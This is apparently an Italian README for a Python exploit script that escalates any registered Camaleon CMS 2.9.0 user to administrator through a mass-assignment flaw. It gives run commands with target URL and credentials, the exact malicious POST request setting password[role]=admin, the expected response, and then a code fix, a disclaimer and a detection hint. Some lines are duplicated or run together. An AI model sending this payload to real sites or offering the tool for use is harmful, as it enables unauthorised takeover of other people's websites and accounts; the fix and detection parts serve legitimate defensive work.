
Questo script Python sfrutta una vulnerabilità critica di mass assignment in Camaleon CMS versione 2.9.0, consentendo a qualsiasi utente registrato di elevare i propri privilegi fino a quelli di amministratore.
Questo script Python sfrutta una vulnerabilità critica di mass assignment in Camaleon CMS versione 2.9.0, consentendo a qualsiasi utente registrato di elevare i propri privilegi ad amministratore.
permit! nell'azione updated_ajax consente il passaggio di tutti i parametri senza filtri, incluso il parametro role/admin/users/[id]/updated_ajax con un payload malevolo: (Nello script ho usato l'id 5 poiché di solito è quello assegnato automaticamente. Potrebbe essere necessario cambiarlo.)
password[role]=admin - Questo parametro dovrebbe essere filtrato, ma non lo è a causa di permit!password[password] e password[password_confirmation] - Aggiorna la password dell'utente (Quando un utente normale con ruolo client aggiorna il proprio profilo, tecnicamente è user[role]=client, ma poiché qui stiamo sfruttando la vulnerabilità derivante dalla funzionalità change password, sarà password[role]=admin.)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password: Imposta una nuova password durante lo sfruttamento (per impostazione predefinita usa la password corrente)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
La vulnerabilità è presente nel metodo updated_ajax del UsersController:
def updated_ajax
# Codice vulnerabile - usa permit! invece del filtraggio specifico dei parametri
@user.update(params.require(:user).permit!)
# Questo consente il mass assignment di QUALSIASI parametro, incluso role
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
Sostituire il vulnerabile metodo permit! con un filtraggio esplicito dei parametri:
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# Escludere esplicitamente: il parametro role
end
Questo script ha scopo esclusivamente educativo e per test di sicurezza autorizzati. Non utilizzare questo exploit su sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione al test. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
I team di sicurezza possono rilevare i tentativi di sfruttamento monitorando:
/admin/users/[id]/updated_ajax con il parametro password[role]